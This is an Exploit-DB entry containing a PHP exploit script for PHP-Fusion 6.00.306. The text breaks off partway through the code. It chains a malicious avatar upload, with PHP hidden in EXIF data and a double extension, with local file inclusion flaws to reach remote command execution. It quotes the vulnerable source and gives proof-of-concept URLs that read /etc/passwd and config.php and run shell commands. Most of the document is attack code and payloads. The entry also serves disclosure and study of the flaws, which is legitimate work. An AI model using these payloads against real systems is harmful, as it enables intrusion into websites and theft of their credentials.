Exploit-DB #1760
Description: PHP-Fusion 6.00.306 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2006-05-07
Author: rgod

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PHPFusion <= v6.00.306 avatar mod_mime arbitrary file upload &\r\n";
echo "local inclusion vulnerabilities\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";

if ($argc<6) {
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to PHPFusion\r\n";
echo "cmd:       a shell command\r\n";
echo "user/pass: you need a valid user account to upload an avatar\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /phpfusion/ your_username password cat ./../../config.php\r\n";
echo "php ".$argv[0]." localhost /phpfusion/ your_username password ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / your_username password ls -la -P1.1.1.1:80\r\n\r\n";
die;
}

/* explaination:

   software site: http://www.php-fusion.co.uk/

   description: "a light-weight open-source content management system (CMS)
   written in PHP. It utilises a mySQL database to store your site content and
   includes a simple, comprehensive adminstration system."

   tested versions:   PHPFusion v6.00.306
                      PHPFusion v6.00.207
                      PHPFusion v6.00.110


   i) vulnerable code in includes/update_profile_include.php at lines 69-90:

   ...
   $newavatar = $_FILES['user_avatar'];
	if ($userdata['user_avatar'] == "" && !empty($newavatar['name']) && is_uploaded_file($newavatar['tmp_name'])) {
		if (preg_match("/^[-0-9A-Z_\.\[\]]+$/i", $newavatar['name']) && $newavatar['size'] <= 30720) {
                       	$avatarext = strrchr($newavatar['name'],".");
			if (eregi(".gif", $avatarext) || eregi(".jpg", $avatarext) || eregi(".png", $avatarext)) {
				$avatarname = substr($newavatar['name'], 0, strrpos($newavatar['name'], "."));
				$avatarname = $avatarname."[".$userdata['user_id']."]".$avatarext;
				$set_avatar = "user_avatar='$avatarname', ";
				move_uploaded_file($newavatar['tmp_name'], IMAGES."avatars/".$avatarname);
				chmod(IMAGES."avatars/".$avatarname,0644);
				if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {
					if ($size['0'] > 100 || $size['1'] > 100) {
						unlink(IMAGES."avatars/".$avatarname);
						$set_avatar = "";
					}
				} else {
					unlink(IMAGES."avatars/".$avatarname);
					$set_avatar = "";
				}
			}
		}
	}
   ...

   A remote user can upload a malicious avatar with multiple extensions,
   (ex.: .php.php.gif-fakechars-) and with php code inside as EXIF metadata
   content.
   It seems that Apache mod_mime module considers double-extension files like
   file.php.gif[somefakechars] to be valid PHP files and runs the arbitrary
   code that has been uploaded. Actually I can't say which Apache versions, this
   was tested against Apache/1.3.27 with PHP/4.3.3

   A note: file is renamed like this
   .php.php[user_id].gif-fakechars-

   ii) vulnerable code in infusions/last_seen_users_panel/last_seen_users_panel.php
       at lines 12-16:

   ...
   if (file_exists(INFUSIONS."last_seen_users_panel/locale/".$settings['locale'].".php")) {
	include INFUSIONS."last_seen_users_panel/locale/".$settings['locale'].".php";
} else {
	include INFUSIONS."last_seen_users_panel/locale/English.php";
}
   ...

    $settings['locale'] var is not properly sanitized before to be used to
    include files so, if register_globals=on & magic_quotes_gpc=Off,
    you can include local resources, poc:

    http://[target]/[path]infusions/last_seen_users_panel/last_seen_users_panel.php?settings[locale]=../../../../../../../../../etc/passw%00
    http://[target]/[path]infusions/last_seen_users_panel/last_seen_users_panel.php?cmd=ls%20-la&settings[locale]=../../../../images/avatars/suntzu[1].jpg%00

    A note: if INFUSIONS constant is not defined, PHP will assume it as it is,
    as "INFUSIONS" string. On some system , no matters if "INFUSIONSlast_seen_users_panel/locale/........"
    path does not exist, you will go up from the non-existent dir of exactly four
    dirs to include the malicious avatar.
    This works against on 6.00.306

    iii) vulnerable code in setup.php at lines 14-15:

    ...
    $localeset = (isset($_GET['localeset']) ? $_GET['localeset'] : "English");
    include "locale/".$localeset."/setup.php";
    ...

    if this script is not deleted after installation, if magic_quotes_gpc=Off,
    you can include files from locale resources, poc:

    http://[target]/[path]/setup.php?localeset=../../../../../../../../../../etc/passwd%00
    http://[target]/[path]/setup.php?cmd=ls%20-la&localeset=../images/avatars/suntzu[1].jpg%00

    this tool tries to exploit all theese vulnerabilities, you need a valid user
    account to upload avatars
*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$prox